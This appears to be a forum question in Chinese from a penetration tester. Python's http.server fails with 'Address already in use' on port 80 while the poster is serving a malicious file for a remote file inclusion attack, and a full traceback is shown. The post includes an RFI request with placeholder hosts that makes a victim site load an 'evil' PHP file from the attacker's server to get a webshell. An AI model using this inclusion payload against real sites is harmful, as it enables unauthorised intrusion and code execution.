我正在做一个渗透测试,我正在开发一台需要通过远程文件包含漏洞获得访问权限的机器。过去,我可以通过在我的机器上包含恶意文件来获取 webshell。我使用 python http.server 模块(sudo python3 -m http.server 80)这样做了,这工作得很好。但是,在第一次成功执行此操作后,我尝试再次运行此命令,每次运行时都会出现以下错误:
File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
这似乎告诉我某些东西已经在使用端口 80 但是当我关闭网络浏览器时,使用 lsof -i :80 检查,即使重新启动我的机器它仍然无法正常工作。我还尝试通过不同的端口(http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php)包含文件,但这没有不行。任何人都可以就如何前进提供任何建议吗?关于为什么 http-server 永远不能在端口 80 上工作,或者为什么 RFI 只能在端口 80 上工作?在这一点上,我真的想不出还有什么可以尝试的。